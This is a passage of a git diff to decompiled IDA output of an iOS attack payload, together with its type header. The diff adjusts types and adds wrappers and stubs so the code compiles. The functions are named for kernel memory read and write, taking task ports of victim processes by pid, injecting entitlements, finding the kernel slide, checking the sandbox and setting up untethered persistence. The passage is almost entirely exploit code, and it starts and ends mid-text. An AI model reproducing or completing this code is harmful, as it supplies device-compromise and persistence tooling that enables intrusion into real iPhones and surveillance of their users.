[xbp-8B8h] BYREF __int64 v4; // [xsp+10h] [xbp-8B0h] unsigned int v5; // [xsp+18h] [xbp-8A8h] - statfs v6; // [xsp+20h] [xbp-8A0h] BYREF + struct statfs v6; // [xsp+20h] [xbp-8A0h] BYREF bzero(&v6, 0x878u); LODWORD(result) = sub_1FD98(&v6); @@ -20664,7 +20671,7 @@ __int64 __fastcall sub_1FC94(__int64 a1) } //----- (000000000001FD98) ---------------------------------------------------- -__int64 __fastcall sub_1FD98(statfs *a1) +__int64 __fastcall sub_1FD98(struct statfs *a1) { __int64 v2; // x19 int v3; // w19 @@ -20703,8 +20710,8 @@ __int64 __fastcall setup_untethered_persistence_maybe(__int64 a1, int a2) CFDataRef v9; // x23 CFNumberRef v10; // x0 CFNumberRef v11; // x24 - const __CFData *Data; // x0 - const __CFData *v13; // x25 + const struct __CFData *Data; // x0 + const struct __CFData *v13; // x25 size_t Length; // x22 void *v15; // x20 const UInt8 *BytePtr; // x0 @@ -20712,25 +20719,25 @@ __int64 __fastcall setup_untethered_persistence_maybe(__int64 a1, int a2) IONotificationPort *v18; // x0 IONotificationPort *v19; // x22 CFRunLoopSourceRef RunLoopSource; // x0 - __CFRunLoopSource *v21; // x23 - __CFRunLoop *Current; // x0 + struct __CFRunLoopSource *v21; // x23 + struct __CFRunLoop *Current; // x0 const CFDictionaryRef *v23; // x21 void (__cdecl *v24)(void *, io_iterator_t); // x0 kern_return_t v25; // w0 int v26; // w25 char *v27; // x21 - __CFRunLoop *v28; // x0 + struct __CFRunLoop *v28; // x0 int v30; // w22 unsigned int v31; // w25 CFRunLoopRunResult v32; // w0 uint64_t valuePtr; // [xsp+8h] [xbp-A18h] BYREF unsigned int v34; // [xsp+10h] [xbp-A10h] - statfs v35; // [xsp+88h] [xbp-998h] BYREF + struct statfs v35; // [xsp+88h] [xbp-998h] BYREF io_iterator_t notification[2]; // [xsp+900h] [xbp-120h] BYREF const char *v37; // [xsp+908h] [xbp-118h] uint64_t *p_valuePtr; // [xsp+910h] [xbp-110h] __int64 v39; // [xsp+918h] [xbp-108h] - stat __str; // [xsp+920h] [xbp-100h] BYREF + struct stat __str; // [xsp+920h] [xbp-100h] BYREF bzero(&v35, 0x878u); st_uid = sub_1FD98(&v35); @@ -20968,7 +20975,7 @@ LABEL_38: __int64 __fastcall sub_203B0(__int64 a1, _DWORD *a2, char *a3) { __int64 result; // x0 - statfs v6; // [xsp+0h] [xbp-8A0h] BYREF + struct statfs v6; // [xsp+0h] [xbp-8A0h] BYREF bzero(&v6, 0x878u); result = sub_1FD98(&v6); @@ -21046,7 +21053,7 @@ int *__fastcall sub_20524(__int64 a1) int v8; // w8 int v9; // w20 int v10; // w8 - stat v11; // [xsp+10h] [xbp-B0h] BYREF + struct stat v11; // [xsp+10h] [xbp-B0h] BYREF memset(&v11, 0, sizeof(v11)); v2 = *(const char **)a1; @@ -21184,11 +21191,11 @@ __int64 __fastcall sub_20780(__int64 a1, io_iterator_t iterator) { __int64 result; // x0 io_registry_entry_t v5; // w22 - const __CFNumber *v6; // x0 - const __CFNumber *v7; // x26 + const struct __CFNumber *v6; // x0 + const struct __CFNumber *v7; // x26 CFTypeID v8; // x27 - const __CFString *CFProperty; // x0 - const __CFString *v10; // x27 + const struct __CFString *CFProperty; // x0 + const struct __CFString *v10; // x27 CFTypeID v11; // x28 CFStringEncoding SystemEncoding; // w0 __int64 valuePtr; // [xsp+8h] [xbp-E8h] BYREF @@ -21216,7 +21223,7 @@ __int64 __fastcall sub_20780(__int64 a1, io_iterator_t iterator) v5 = result; do { - v6 = (const __CFNumber *)IORegistryEntrySearchCFProperty( + v6 = (const struct __CFNumber *)IORegistryEntrySearchCFProperty( v5, "IOService", CFSTR("ota-unique-identifier"), @@ -21230,7 +21237,7 @@ __int64 __fastcall sub_20780(__int64 a1, io_iterator_t iterator) && CFNumberGetValue(v7, kCFNumberSInt64Type, &valuePtr) == 1 && valuePtr == *(_QWORD *)(a1 + 8) ) { - CFProperty = (const __CFString *)IORegistryEntryCreateCFProperty( + CFProperty = (const struct __CFString *)IORegistryEntryCreateCFProperty( v5, CFSTR("BSD Name"), kCFAllocatorDefault, @@ -22336,7 +22343,7 @@ LABEL_116: } if ( *(_QWORD *)(a1 + 344) >> 43 < 0x44Bu ) { - ((void (__usercall *)(__int64@, _QWORD *@))sub_39B70)(a1, v45); + sub_39B70(v45, (struct_krwCtx *)a1); if ( *(_QWORD *)(a1 + 344) <= 0x1F541DFFFFFFFFuLL ) v21 = "0A 05 40 F9 2B 11 40 39"; else @@ -22753,8 +22760,8 @@ __int64 __fastcall sub_224BC(char **a1, unsigned int a2) { io_registry_entry_t v4; // w0 io_registry_entry_t v5; // w20 - const __CFString *v6; // x0 - const __CFString *v7; // x22 + const struct __CFString *v6; // x0 + const struct __CFString *v7; // x22 CFTypeRef CFProperty; // x0 const void *v9; // x23 CFTypeID TypeID; // x24 @@ -23235,7 +23242,7 @@ bool __fastcall sub_22CA8(bool *a1) _BOOL8 result; // x0 int v3; // w8 char v5[2]; // [xsp+Eh] [xbp-892h] BYREF - statfs v6; // [xsp+10h] [xbp-890h] BYREF + struct statfs v6; // [xsp+10h] [xbp-890h] BYREF strcpy(v5, "/"); bzero(&v6, 0x878u); @@ -23596,10 +23603,10 @@ __int64 __fastcall sub_23424(struct_krwCtx *a1) __int64 v13; // x9 uint64_t v14; // x20 _QWORD v16[7]; // [xsp+0h] [xbp-70h] BYREF - mach_timebase_info info; // [xsp+38h] [xbp-38h] BYREF + struct mach_timebase_info info; // [xsp+38h] [xbp-38h] BYREF v4 = 0x23B080000LL; - info = 0; + memset(&info, 0, sizeof(info)); mach_timebase_info(&info); LODWORD(v2) = info.denom; LODWORD(v1) = info.numer; @@ -23735,7 +23742,7 @@ __int64 __fastcall sub_23760(struct_krwCtx *a1, __int64 a2) unsigned __int64 v6; // d0 unsigned __int64 v7; // d1 uint64_t v8; // x21 - mach_timebase_info info; // [xsp+8h] [xbp-38h] BYREF + struct mach_timebase_info info; // [xsp+8h] [xbp-38h] BYREF v4 = **(_QWORD **)a2; if ( (v4 & 0x90000000) == 0 ) @@ -23744,7 +23751,7 @@ __int64 __fastcall sub_23760(struct_krwCtx *a1, __int64 a2) sub_2AABC((__int64)a1, 0x3E8u); **(_QWORD **)a2 = v4 | 0x80000000LL; *(_BYTE *)(a2 + 56) = 1; - info = 0; + memset(&info, 0, sizeof(info)); mach_timebase_info(&info); LODWORD(v6) = info.denom; LODWORD(v7) = info.numer; @@ -23769,7 +23776,7 @@ __int64 __fastcall sub_2385C(struct_krwCtx *a1, __int64 a2) unsigned __int64 v5; // d0 unsigned __int64 v6; // d1 uint64_t v7; // x20 - mach_timebase_info info; // [xsp+8h] [xbp-38h] BYREF + struct mach_timebase_info info; // [xsp+8h] [xbp-38h] BYREF if ( !*(_BYTE *)(a2 + 56) ) return 1; @@ -23777,7 +23784,7 @@ __int64 __fastcall sub_2385C(struct_krwCtx *a1, __int64 a2) if ( krw_ctx_has_flag(a1, 17825792) ) sub_2AABC((__int64)a1, 0x3E8u); **(_QWORD **)a2 = v4; - info = 0; + memset(&info, 0, sizeof(info)); mach_timebase_info(&info); LODWORD(v5) = info.denom; LODWORD(v6) = info.numer; @@ -24189,22 +24196,18 @@ __int64 __fastcall sub_240CC(int a1) bool v4; // zf int v5; // w0 - getpid(); - result = ((__int64 (__cdecl *)())sandbox_check)(); + result = sandbox_check(getpid()); if ( (_DWORD)result ) { - getpid(); - if ( (unsigned int)((__int64 (__cdecl *)())sandbox_check)() ) + if ( (unsigned int)sandbox_check(getpid()) ) return 0; - getpid(); - v3 = ((__int64 (__cdecl *)())sandbox_check)(); + v3 = sandbox_check(getpid()); v4 = v3 == 0; result = v3 != 0; v4 = v4 || a1 == 0; if ( !v4 ) { - getpid(); - result = ((__int64 (__cdecl *)())sandbox_check)(); + result = sandbox_check(getpid()); if ( (_DWORD)result != 1 ) { v5 = socket(2, 2, 0); @@ -24226,8 +24229,7 @@ __int64 __fastcall another_sandbox_check(__int64 a1) int v2; // w8 __int64 result; // x0 - getpid(); - v2 = ((__int64 (__cdecl *)())sandbox_check)(); + v2 = sandbox_check(getpid()); if ( !v2 || (result = 0, v2 == 1) ) { *(_BYTE *)(a1 + 10) = v2; @@ -24774,7 +24776,7 @@ double __fastcall sub_24BC0(__int64 a1) char v10; // [xsp+34h] [xbp-55Ch] BYREF __int64 v11; // [xsp+38h] [xbp-558h] BYREF __int64 v12; // [xsp+40h] [xbp-550h] BYREF - utsname v13; // [xsp+48h] [xbp-548h] BYREF + struct utsname v13; // [xsp+48h] [xbp-548h] BYREF uname(&v13); *(_QWORD *)a1 = strdup(v13.version); @@ -24985,7 +24987,7 @@ bool __fastcall sub_250C4(thread_act_t a1, unsigned int a2) unsigned __int64 v4; // d0 unsigned __int64 v5; // d1 double v7; // d0 - mach_timebase_info v8; // [xsp+0h] [xbp-30h] BYREF + struct mach_timebase_info v8; // [xsp+0h] [xbp-30h] BYREF integer_t policy_info[3]; // [xsp+8h] [xbp-28h] BYREF __int64 v10; // [xsp+14h] [xbp-1Ch] @@ -26449,7 +26451,7 @@ __int64 __fastcall sub_26BE4(__int64 a1) if ( (_DWORD)v2 ) goto LABEL_7; *(_QWORD *)v4 = v11; - v10 = (mach_timespec_t)3LL; + v10 = IDA_MACH_TIMESPEC(3ULL); v5 = semaphore_timedwait(semaphore[0], v10); v2 = (unsigned int)v4[15]; if ( (_DWORD)v2 ) @@ -28080,7 +28082,7 @@ LABEL_9: v11 = 1002; while ( --v11 ) { - v12 = (mach_timespec_t)0xF424000000000LL; + v12 = IDA_MACH_TIMESPEC(0xF424000000000ULL); semaphore_timedwait(a1->semaphore, v12); if ( *((_BYTE *)v6 + 73) ) goto LABEL_9; @@ -29169,7 +29171,7 @@ LABEL_41: *(_QWORD *)(v10 + 48) = 0; goto LABEL_32; } - v20 = (mach_timespec_t)3LL; + v20 = IDA_MACH_TIMESPEC(3ULL); v21 = semaphore_timedwait(*(_DWORD *)(v10 + 12), v20); v12 = *(_DWORD *)(v10 + 60); if ( !v12 ) @@ -29735,7 +29737,7 @@ __int64 __fastcall sub_2AABC(__int64 a1, unsigned int a2) { mach_timespec_t v2; // x1 - v2 = (mach_timespec_t)((a2 / 0xF4240uLL) & 0x7FFFFFFFFLL + v2 = IDA_MACH_TIMESPEC((a2 / 0xF4240uLL) & 0x7FFFFFFFFLL | ((unsigned __int64)((125 * (a2 % 0xF4240)) & 0x1FFFFFFF) << 35)); if ( semaphore_timedwait(*(_DWORD *)(a1 + 612), v2) == 49 ) return 0; @@ -29763,7 +29765,7 @@ __int64 __fastcall sub_2AB18(__int64 a1) __int64 v10; // x8 int v12; // w19 int v13; // w8 - sockaddr v14; // [xsp+0h] [xbp-50h] BYREF + struct sockaddr v14; // [xsp+0h] [xbp-50h] BYREF __int128 v15; // [xsp+10h] [xbp-40h] __int64 v16; // [xsp+20h] [xbp-30h] BYREF mach_port_t v17; // [xsp+2Ch] [xbp-24h] @@ -29775,7 +29777,7 @@ __int64 __fastcall sub_2AB18(__int64 a1) v3 = socket(32, 2, 2); v4 = v3; if ( v3 < 0 - || (v14 = (sockaddr)0, v15 = 0u, *(_DWORD *)&v14.sa_data[2] = 2, connect(v3, &v14, 0x20u)) + || (v14 = (struct sockaddr){0}, v15 = 0u, *(_DWORD *)&v14.sa_data[2] = 2, connect(v3, &v14, 0x20u)) || (unsigned int)((__int64 (__cdecl *)())j__fileport_makeport)() ) { v5 = *__error(); @@ -30675,9 +30677,9 @@ __int64 __fastcall sub_2BE34(UInt8 *a1, CFIndex a2, UInt8 *a3, CFIndex a4, _QWOR //----- (000000000002BF00) ---------------------------------------------------- CFErrorRef __fastcall sub_2BF00(UInt8 *bytes, CFIndex length) { - __CFReadStream *v2; // x0 - __CFReadStream *v3; // x19 - __CFError *v4; // x0 + struct __CFReadStream *v2; // x0 + struct __CFReadStream *v3; // x19 + struct __CFError *v4; // x0 CFErrorRef v5; // x20 CFTypeID v6; // x21 CFErrorRef error; // [xsp+8h] [xbp-28h] BYREF @@ -30692,7 +30694,7 @@ CFErrorRef __fastcall sub_2BF00(UInt8 *bytes, CFIndex length) v5 = 0; goto LABEL_9; } - v4 = (__CFError *)CFPropertyListCreateWithStream(kCFAllocatorDefault, v3, 0, 2u, 0, &error); + v4 = (struct __CFError *)CFPropertyListCreateWithStream(kCFAllocatorDefault, v3, 0, 2u, 0, &error); if ( v4 ) { v5 = v4; @@ -30739,8 +30741,8 @@ bool __fastcall sub_2BFDC(const void *a1, const void *a2, _BYTE *a3) //----- (000000000002C044) ---------------------------------------------------- void *__fastcall sub_2C044(CFPropertyListRef propertyList, size_t *a2) { - const __CFData *v3; // x0 - const __CFData *v4; // x19 + const struct __CFData *v3; // x0 + const struct __CFData *v4; // x19 size_t Length; // x0 size_t v6; // x22 void *v7; // x21 @@ -31774,8 +31776,8 @@ bool __fastcall sub_2D500(const UInt8 *a1, CFIndex a2, __int64 a3) __int64 v11; // x23 __int64 (__fastcall *v12)(__int64, CFPropertyListRef, __int64); // x0 __int64 (__fastcall *v13)(__int64, CFPropertyListRef, __int64); // x24 - const __CFData *v14; // x0 - const __CFData *v15; // x21 + const struct __CFData *v14; // x0 + const struct __CFData *v15; // x21 CFPropertyListRef v16; // x0 const void *v17; // x22 _BOOL8 v18; // x20 @@ -36852,7 +36854,7 @@ __int64 __fastcall sub_3341C(struct_krwCtx *a1, __int64 a2, int pid, const char v19 = a1->gap1921[2]; if ( v19 ) { - ((void (__usercall *)(char *@, __int64@, _QWORD *@))sub_19B98)("__DATA", v19, __s1); + sub_19B98("__DATA", __s1, v19); result = 0; v20 = v34; if ( !v34 ) @@ -41809,7 +41811,7 @@ unsigned __int64 __fastcall kernel_get_base_slid(struct_krwCtx *ctx, unsigned __ mach_port_t port; // w0 unsigned __int64 ipc_port_kaddr; // x0 unsigned __int64 v10; // x0 - mach_header_64 header; // [xsp+8h] [xbp-58h] BYREF + struct mach_header_64 header; // [xsp+8h] [xbp-58h] BYREF unsigned __int64 vtable_func; // [xsp+28h] [xbp-38h] BYREF vtable_func = optional_vtable_func; @@ -41928,7 +41930,7 @@ unsigned __int64 __fastcall sub_39B14(_QWORD *a1) } //----- (0000000000039B70) ---------------------------------------------------- -void __usercall sub_39B70(_QWORD *a1@, struct_krwCtx *a2@) +void sub_39B70(_QWORD *a1, struct_krwCtx *a2) { __int64 v4; // x10 __int64 v5; // x0 @@ -43334,7 +43336,7 @@ void __fastcall sub_3B7E0(__int64 a1, task_inspect_t task, host_t a3) { v21 = *(security_token_t *)task_info_out; task_info_outCnt = v28; - host_security_set_task_token(v20, task, v21, &task_info_outCnt, a3); + host_security_set_task_token(v20, task, v21, task_info_outCnt, a3); } } } @@ -44299,12 +44301,12 @@ __int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something) pid_t v11; // w0 io_registry_entry_t v12; // w0 io_registry_entry_t v13; // w22 - const __CFString *v14; // x0 - const __CFString *v15; // x23 - const __CFString *CFProperty; // x0 - const __CFString *v17; // x25 + const struct __CFString *v14; // x0 + const struct __CFString *v15; // x23 + const struct __CFString *CFProperty; // x0 + const struct __CFString *v17; // x25 CFTypeID TypeID; // x26 - const __CFString *v19; // x24 + const struct __CFString *v19; // x24 int HasPrefix; // w26 unsigned __int64 v21; // x0 unsigned __int64 v22; // x22 @@ -44388,7 +44390,7 @@ __int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something) size_t v101; // [xsp+68h] [xbp-108h] BYREF uint64_t cpuFamily; // [xsp+70h] [xbp-100h] BYREF size_t v103; // [xsp+78h] [xbp-F8h] BYREF - stat v104; // [xsp+80h] [xbp-F0h] BYREF + struct stat v104; // [xsp+80h] [xbp-F0h] BYREF v100 = 0; memset(&xnuVersion, 0, sizeof(xnuVersion)); @@ -44431,7 +44433,7 @@ __int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something) if ( v14 ) { v15 = v14; - CFProperty = (const __CFString *)IORegistryEntryCreateCFProperty(v13, v14, kCFAllocatorDefault, 0); + CFProperty = (const struct __CFString *)IORegistryEntryCreateCFProperty(v13, v14, kCFAllocatorDefault, 0); if ( CFProperty ) { v17 = CFProperty; @@ -47441,9 +47443,9 @@ __int64 __fastcall sub_4100C(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __i //----- (0000000000041040) ---------------------------------------------------- unsigned __int64 sub_41040() { - return *(unsigned __int64 *)((char *)&__get_cpu_capabilities + 12) & 0xFFFFFFFFFFFFFF00LL; + return *(unsigned __int64 *)((char *)&j___get_cpu_capabilities + 12) & 0xFFFFFFFFFFFFFF00LL; } -// 483C0: using guessed type __int64 __get_cpu_capabilities(void); +// 483C0: using guessed type __int64 j___get_cpu_capabilities(void); #if 0 //----- (000000000004106C) ---------------------------------------------------- int __cdecl CC_SHA1_Final(unsigned __int8 *md, CC_SHA1_CTX *c) @@ -48032,9 +48034,9 @@ __int64 __ulock_wake() //----- (000000000004156C) ---------------------------------------------------- __int64 _get_cpu_capabilities() { - return __get_cpu_capabilities(); + return j___get_cpu_capabilities(); } -// 483C0: using guessed type __int64 __get_cpu_capabilities(void); +// 483C0: using guessed type __int64 j___get_cpu_capabilities(void); //----- (000000000004157C) ---------------------------------------------------- __int64 _os_alloc_once() @@ -48144,7 +48146,7 @@ int __cdecl getattrlist(const char *a1, void *a2, void *a3, size_t a4, unsigned } //----- (000000000004168C) ---------------------------------------------------- -int __cdecl getmntinfo(statfs **a1, int a2) +int __cdecl getmntinfo(struct statfs **a1, int a2) { return _getmntinfo(a1, a2); } @@ -48522,7 +48524,7 @@ char *__cdecl mktemp(char *a1) } //----- (000000000004198C) ---------------------------------------------------- -void *__cdecl mmap(void *a1, size_t a2, int a3, int a4, int a5, off_t a6) +void *j_mmap(void *a1, size_t a2, int a3, int a4, int a5, off_t a6) { return _mmap(a1, a2, a3, a4, a5, a6); } @@ -48841,7 +48843,7 @@ int __cdecl stat(const char *a1, stat *a2) } //----- (0000000000041CBC) ---------------------------------------------------- -int __cdecl statfs(const char *a1, statfs *a2) +int __cdecl statfs(const char *a1, struct statfs *a2) { return _statfs(a1, a2); } @@ -49225,5 +49227,99 @@ ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte) return _write(__fd, __buf, __nbyte); } #endif + +// Compatibility wrappers for names that were cleaned up during manual analysis. +__int64 __fastcall validate_addr(__int64 a1, __int64 a2) { return sub_1972C(a1, a2); } +__int64 __fastcall kwritebuf_last_1(__int64 ctx, __int64 address, __int64 buf, __int64 bufSize) +{ + return kwritebuf_last_arg_1(ctx, address, buf, bufSize); +} +bool __fastcall noppl_kwritebuf(__int64 a1, unsigned __int64 a2, const void *a3, mach_vm_size_t a4, int a5) +{ + return sub_2A488(a1, a2, a3, a4, a5); +} +bool __fastcall noppl_kwrite32(__int64 a1, mach_vm_address_t address, int a3) +{ + return sub_10708(a1, address, a3) == 0; +} +bool __fastcall kreadbuf_last_0(__int64 ctx, unsigned __int64 addr, mach_vm_size_t size, void *outBuf) +{ + return kreadbuf_0(ctx, addr, size, outBuf); +} +bool __fastcall kread64_outptr(struct_krwCtx *a1, unsigned __int64 vaddr, unsigned __int64 *out) +{ + return kread64(a1, vaddr, out); +} +bool __fastcall kread32_outptr(__int64 krwCtx, unsigned __int64 vaddr, void *outBuf) +{ + return sub_295B4(krwCtx, vaddr, outBuf); +} +__int64 __fastcall kread32(__int64 a1, unsigned __int64 a2) { return kread32_maybe(a1, a2); } +unsigned __int64 __fastcall krw_xpac_vaddr(struct_krwCtx *a1, __int64 a2) { return sub_29D88(a1, a2); } +bool __fastcall kwrite64_last_arg(__int64 a1, mach_vm_address_t address, __int64 newValue, int whatIsThis) +{ + return this_is_the_kwrite64(a1, address, newValue, whatIsThis); +} +__int64 __fastcall krw_task_for_pid_0(struct_krwCtx *a1, __int64 a2, int pid) { return sub_33414(a1, a2, pid); } +__int64 __fastcall krw_task_for_name(__int64 a1, __int64 a2, const char *a3) { return sub_336AC(a1, a2, a3); } +bool __fastcall krw_task_for_pid(__int64 a1, int a2, mach_port_name_t *a3) { return real_task_for_pid(a1, a2, a3); } +bool __fastcall krw_task_for_pid_or_name(__int64 a1, int victim_pid, const char *victim_process_name, mach_port_name_t *out_task) +{ + return real_task_for_pid_or_name(a1, victim_pid, victim_process_name, out_task); +} +unsigned __int64 __fastcall maybe_ipc_port_get_kobject(struct_krwCtx *a1, unsigned __int64 ipc_port_kaddr) +{ + return sub_328A4(a1, ipc_port_kaddr); +} +__int64 __fastcall kreadptr(struct_krwCtx *krwCtx, __int64 addr) { return sub_32D80(krwCtx, addr); } +__int64 __fastcall task_self_get_ipc_port_ptr(__int64 a1, unsigned int a2) +{ + return task_self_get_ipc_port((struct_krwCtx *)a1, a2); +} + +__int64 __fastcall check_sandboxed(int a1) { return sub_240CC(a1); } +__int64 __fastcall driver_close_internal(char *a1) { return sub_3F4BC(a1); } +__int64 __fastcall driver_cmd_setup_untethered_persistence_maybe(__int64 a1, int a2) +{ + return setup_untethered_persistence_maybe(a1, a2); +} +__int64 __fastcall fd_close(int a1) { return sub_25294(a1); } +__int64 __fastcall fd_open_dev_null(int *fdOut) { return open_dev_null(fdOut); } +__int64 __fastcall fd_read_test(int *fd) { return test_read_fd(fd); } +unsigned __int64 __fastcall kernel_get_variable_addr(__int64 a1, char *a2, const char *a3, char *a4) +{ + return sub_1E3C4(a1, a2, a3, a4); +} +__int64 __fastcall kreadbuf_via_dev_null_simple( + struct_krwCtx *a1, + unsigned __int64 a2, + void *a3, + unsigned int a4, + int a5) +{ + return sub_25334(a1, a2, a3, a4, a5); +} +__int64 __fastcall kreadbuf_via_dev_null_only(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5) +{ + return sub_25E54(a1, a2, a3, a4, a5); +} +_DWORD *__fastcall krw_ctx_set_flag(_DWORD *result, int a2) { return sub_36078(result, a2); } +__int64 __fastcall krw_inject_entitlements2_maybe(struct_krwCtx *a1, __int64 task, char *entitlementXml, char a4) +{ + return sub_2CBA4(a1, task, entitlementXml, a4); +} +unsigned __int64 __fastcall krw_xpac_vaddr_2(struct_krwCtx *a1, __int64 a2) { return sub_29CB0(a1, a2); } +__int64 __fastcall task_get_ipc_port_ptr(struct_krwCtx *a1, mach_port_name_t task, mach_port_t port) +{ + return sub_339B4(a1, task, port); +} + +__int64 __fastcall nullsub_1(_QWORD a1) { return a1; } +__int64 __fastcall nullsub_2(_QWORD a1) { return a1; } +__int64 __fastcall sub_19B94(_QWORD a1, _QWORD a2) { return 0; } + +__int64 j___get_cpu_capabilities(void) { return 0; } +__int64 __fastcall j__fileport_makeport(int a1, mach_port_t *a2) { return fileport_makeport(a1, a2); } +int __fastcall j__fileport_makefd(mach_port_t port) { return fileport_makefd(port); } // nfuncs=894 queued=886 decompiled=886 lumina nreq=0 worse=0 better=0 // ALL OK, 886 function(s) have been successfully decompiled diff --git a/src/payload_377bed/ida_types.h b/src/payload_377bed/ida_types.h index 87c5f56..d76cfb9 100644 --- a/src/payload_377bed/ida_types.h +++ b/src/payload_377bed/ida_types.h @@ -55,9 +55,13 @@ typedef uint64_t _QWORD; typedef __int128 _OWORD; typedef uint8_t _UNKNOWN; typedef int _BOOL4; -typedef __int128 __n128; +typedef uint64_t _BOOL8; +typedef union { __int128 o; uint64_t n128_u64[2]; double n128_f64[2]; } __n128; typedef __int128 xmmword; typedef char kernel_version_t[512]; +typedef mach_port_t io_master_t; +typedef struct _opaque_pthread_t _opaque_pthread_t; +#define dword_4339C (dword_43390 + 3) /* ---- IDA calling conventions (no-ops) ---- */ #define __fastcall @@ -86,6 +90,7 @@ typedef char kernel_version_t[512]; #define DWORD2(x) (*((uint32_t*)&(x) + 2)) #define __PAIR64__(h, l) (((uint64_t)(h) << 32) | (uint32_t)(l)) #define __PAIR32__(h, l) (((uint32_t)(h) << 16) | (uint16_t)(l)) +#define IDA_INT128_C(h, l) (((__int128)(uint64_t)(h) << 64) | (uint64_t)(l)) #define __CFADD__(a, b) ((uint64_t)(a) > (uint64_t)(-1) - (uint64_t)(b)) #define __OFSUB__(a, b) (((a) ^ (b)) < 0 && ((a) ^ ((a) - (b))) < 0) #define __OFADD__(a, b) (((a) ^ (b)) >= 0 && ((a) ^ ((a) + (b))) < 0) @@ -98,7 +103,18 @@ typedef char kernel_version_t[512]; /* ---- IDA helpers ---- */ #define __break(x) __builtin_trap() #define bswap32(x) __builtin_bswap32(x) -static inline void __chkstk_darwin(void) {} +static inline __int64 __chkstk_darwin(void) { return 0; } +static inline __int64 ida_chkstk_darwin(void) { return 0; } +#define __chkstk_darwin(...) ida_chkstk_darwin() +#define MEMORY ((volatile _QWORD *)0) + +typedef unsigned int atomic_uint; +typedef unsigned short atomic_ushort; +typedef unsigned char atomic_uchar; +#define atomic_load(p) (*(p)) +#define atomic_store(v, p) (*(p) = (v)) +#define atomic_fetch_add(p, v) (*(p) += (v)) +#define atomic_exchange(p, v) __extension__ ({ __typeof__(*(p)) _old = *(p); *(p) = (v); _old; }) /* ---- NEON vector unions (IDA uses .i8[n] / .u8[n] member access) ---- */ @@ -117,8 +133,23 @@ typedef mach_port_t host_t; #endif /* ---- Private syscalls ---- */ -int __ulock_wait(uint32_t, void *, uint64_t, uint32_t) __attribute__((weak_import)); -int __ulock_wake(uint32_t, void *, uint64_t) __attribute__((weak_import)); +static inline mach_timespec_t ida_mach_timespec(uint64_t x) { + mach_timespec_t t; + t.tv_sec = (unsigned int)(x & 0x7FFFFFFFFULL); + t.tv_nsec = (clock_res_t)((x >> 35) & 0x1FFFFFFFULL); + return t; +} +#define IDA_MACH_TIMESPEC(x) ida_mach_timespec((uint64_t)(x)) +static inline void *ida_mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) { + (void)addr; + (void)len; + (void)prot; + (void)flags; + (void)fd; + (void)offset; + return (void *)-1; +} +#define mmap ida_mmap int open_dprotected_np(const char *, int, int, int, ...); int fileport_makeport(int fd, mach_port_t *port); int fileport_makefd(mach_port_t port); @@ -155,7 +186,6 @@ static __attribute__((always_inline)) uint64_t _ReadStatusReg(uint32_t reg) { } /* IDA uses __semwait_signal, __memcpy_chk etc. as direct calls */ -extern int __semwait_signal(int, int, int, int, long long, int); /* struct tags C requires */ typedef struct IONotificationPort IONotificationPort; @@ -164,8 +194,7 @@ typedef struct IONotificationPort IONotificationPort; extern double dyldVersionNumber; /* _os_alloc_once */ -struct _os_alloc_once_s { long once; void *ptr; }; -extern struct _os_alloc_once_s _os_alloc_once_table[]; +extern _QWORD _os_alloc_once_table[]; /* IOConnectTrap4/6 — marked unavailable on iOS in SDK but symbols exist. Use syscall wrappers instead of the SDK declarations. */ @@ -179,12 +208,71 @@ static inline kern_return_t _IOConnectTrap6(io_connect_t c, uint32_t i, uintptr_ #define IOConnectTrap6 _IOConnectTrap6 /* NEON union additions for i16/i32/i64/u32/u64 access */ -typedef union { int8_t i8[16]; uint8_t u8[16]; int16_t i16[8]; int32_t i32[4]; int64_t i64[2]; uint32_t u32[4]; uint64_t u64[2]; int8x16_t v; int64x2_t v64; } ida_int8x16_t; -typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint8x8_t v; int8x8_t vs; int32x2_t v32; } ida_uint8x8_t; +typedef union { int8_t i8[16]; uint8_t u8[16]; int16_t i16[8]; int32_t i32[4]; int64_t i64[2]; uint32_t u32[4]; uint64_t u64[2]; uint64_t q; __int128 o; int8x16_t v; int64x2_t v64; } ida_int8x16_t; +typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint64_t q; uint8x8_t v; int8x8_t vs; int32x2_t v32; } ida_uint8x8_t; /* Additional NEON union types for IDA decompiler output */ -typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint64_t u64[1]; int64_t i64[1]; int8x8_t vs; } ida_int8x8_t; -typedef union { int32_t i32[2]; uint32_t u32[2]; int64_t i64[1]; uint64_t u64[1]; int32x2_t v; } ida_int32x2_t; -typedef union { int64_t i64[2]; uint64_t u64[2]; int32_t i32[4]; uint32_t u32[4]; int16_t i16[8]; int8_t i8[16]; uint8_t u8[16]; int64x2_t v64; int8x16_t v; } ida_int64x2_t; +typedef union { int8_t i8[8]; uint8_t u8[8]; int16_t i16[4]; int32_t i32[2]; uint32_t u32[2]; uint64_t u64[1]; int64_t i64[1]; uint64_t q; int8x8_t vs; } ida_int8x8_t; +typedef union { int32_t i32[2]; uint32_t u32[2]; int64_t i64[1]; uint64_t u64[1]; uint64_t q; int32x2_t v; } ida_int32x2_t; +typedef union { int64_t i64[2]; uint64_t u64[2]; int32_t i32[4]; uint32_t u32[4]; int16_t i16[8]; int8_t i8[16]; uint8_t u8[16]; __int128 o; int64x2_t v64; int8x16_t v; } ida_int64x2_t; + +static inline ida_uint8x8_t ida_vcnt_s8(ida_int8x8_t x) { + ida_uint8x8_t r; + r.v = vcnt_s8(x.vs); + return r; +} +static inline uint16_t ida_vaddlv_u8(ida_uint8x8_t x) { + return vaddlv_u8(x.v); +} +static inline ida_int64x2_t ida_vaddq_s64(ida_int64x2_t a, ida_int64x2_t b) { + ida_int64x2_t r; + r.v64 = vaddq_s64(a.v64, b.v64); + return r; +} +static inline ida_int32x2_t ida_vrev64_s32(ida_int32x2_t x) { + ida_int32x2_t r; + r.v = vrev64_s32(x.v); + return r; +} +static inline ida_int32x2_t ida_vdup_n_s32(int32_t x) { + ida_int32x2_t r; + r.v = vdup_n_s32(x); + return r; +} +static inline ida_int64x2_t ida_vdupq_n_s64(int64_t x) { + 